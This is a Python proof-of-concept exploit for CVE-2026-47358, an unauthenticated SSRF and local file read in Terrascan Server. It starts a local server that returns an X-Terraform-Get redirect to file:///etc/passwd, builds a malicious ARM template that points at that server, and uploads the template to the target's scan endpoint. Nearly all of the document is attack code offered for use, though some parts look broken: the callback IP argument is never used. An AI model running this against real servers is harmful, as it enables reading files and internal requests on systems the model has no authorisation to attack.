#!/usr/bin/env python3
# Exploit Title: Tenable Terrascan Server <= v1.18.3 SSRF and Local File Read
# CVE: CVE-2026-47358
# Date: 2026-05-20
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub: https://github.com/mbanyamer
# Vendor Homepage: https://github.com/tenable/terrascan
# Software Link: https://github.com/tenable/terrascan
# Affected: Terrascan Server <= v1.18.3
# Tested on: Terrascan v1.18.3
# Category: Remote
# Platform: Linux
# Exploit Type: SSRF + Local File Read
# CVSS:
# CWE : CWE-918, CWE-73, CWE-610
# Description: Terrascan server allows unauthenticated SSRF and local file read via external URL resolution in IaC templates using go-getter.
# Fixed in: Unfixed (Project Archived)
# Usage: python3 exploit.py <target> --lhost <your_ip> --lport <your_port>
#
# Examples:
# python3 exploit.py http://127.0.0.1:9010 --lhost 192.168.1.100 --lport 8080
#
# Options:
#
# Notes:
#
# How to Use
#
# Step 1:
print(r"""
╔════════════════════════════════════════════════════════════════════════════════════════════╗
║ ║
║ ██████╗ █████╗ ███╗ ██╗██╗ ██╗ █████╗ ███╗ ███╗███████╗██████╗ ║
║ ██╔══██╗██╔══██╗████╗ ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██╗ ║
║ ██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗ ██████╔╝ ║
║ ██╔══██╗██╔══██║██║╚██╗██║ ╚██╔╝ ██╔══██║██║╚██╔╝██║██╔══╝ ██╔══██╗ ║
║ ██████╔╝██║ ██║██║ ╚████║ ██║ ██║ ██║██║ ╚═╝ ██║███████╗██║ ██║ ║
║ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ║
║ ║
║ [ b a n y a m e r _ s e c u r i t y ] ║
║ ║
║ ▸ Silent Hunter | Shadow Presence | Digital Intel ◂ ║
║ ║
║ Operator : Mohammed Idrees Banyamer • Jordan 🇯🇴 ║
║ Handle : @banyamer_security ║
║ ║
║ Exploit : CVE-2026-47358 ║
║ Target : Tenable Terrascan Server ║
║ ║
║ Status : ACTIVE ║
║ ║
╚════════════════════════════════════════════════════════════════════════════════════════════╝
""")
import requests
import json
import time
import argparse
import os
from http.server import HTTPServer, BaseHTTPRequestHandler
from threading import Thread
TARGET_URL = None
ATTACKER_HOST = "0.0.0.0"
ATTACKER_PORT = None
class TerraformRedirectHandler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path.endswith("/payload"):
self.send_response(200)
self.send_header("X-Terraform-Get", "file:///etc/passwd")
self.end_headers()
self.wfile.write(b"malicious redirect payload")
else:
self.send_response(200)
self.end_headers()
self.wfile.write(b"ok")
def start_malicious_server():
server = HTTPServer((ATTACKER_HOST, ATTACKER_PORT), TerraformRedirectHandler)
print(f"[*] Malicious server listening on {ATTACKER_HOST}:{ATTACKER_PORT}")
server.serve_forever()
def create_malicious_arm_template():
template = {
"$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#",
"contentVersion": "1.0.0.0",
"resources": [],
"outputs": {
"poc": {
"type": "string",
"value": "CVE-2026-47358 PoC"
}
},
"templateLink": {
"uri": f"http://localhost:{ATTACKER_PORT}/payload"
}
}
with open("malicious_arm.json", "w") as f:
json.dump(template, f, indent=2)
print("[+] Malicious ARM template created")
def upload_to_terrascan(file_path):
url = f"{TARGET_URL}/v1/arm/1.0/azure/scan"
try:
with open(file_path, "rb") as f:
files = {"file": (os.path.basename(file_path), f, "application/json")}
response = requests.post(url, files=files, timeout=15)
print(f"[+] Upload status: {response.status_code}")
except Exception as e:
print(f"[-] Upload error: {e}")
def main():
global TARGET_URL, ATTACKER_PORT
parser = argparse.ArgumentParser()
parser.add_argument("target", help="Target Terrascan URL (e.g. http://127.0.0.1:9010)")
parser.add_argument("--lhost", required=True, help="Your IP for callback")
parser.add_argument("--lport", type=int, default=8080, help="Your listening port")
args = parser.parse_args()
TARGET_URL = args.target.rstrip("/")
ATTACKER_PORT = args.lport
print("[*] Starting malicious server...")
server_thread = Thread(target=start_malicious_server, daemon=True)
server_thread.start()
time.sleep(2)
create_malicious_arm_template()
upload_to_terrascan("malicious_arm.json")
print("[+] Exploit sent. Check your listener for SSRF activity.")
if __name__ == "__main__":
main()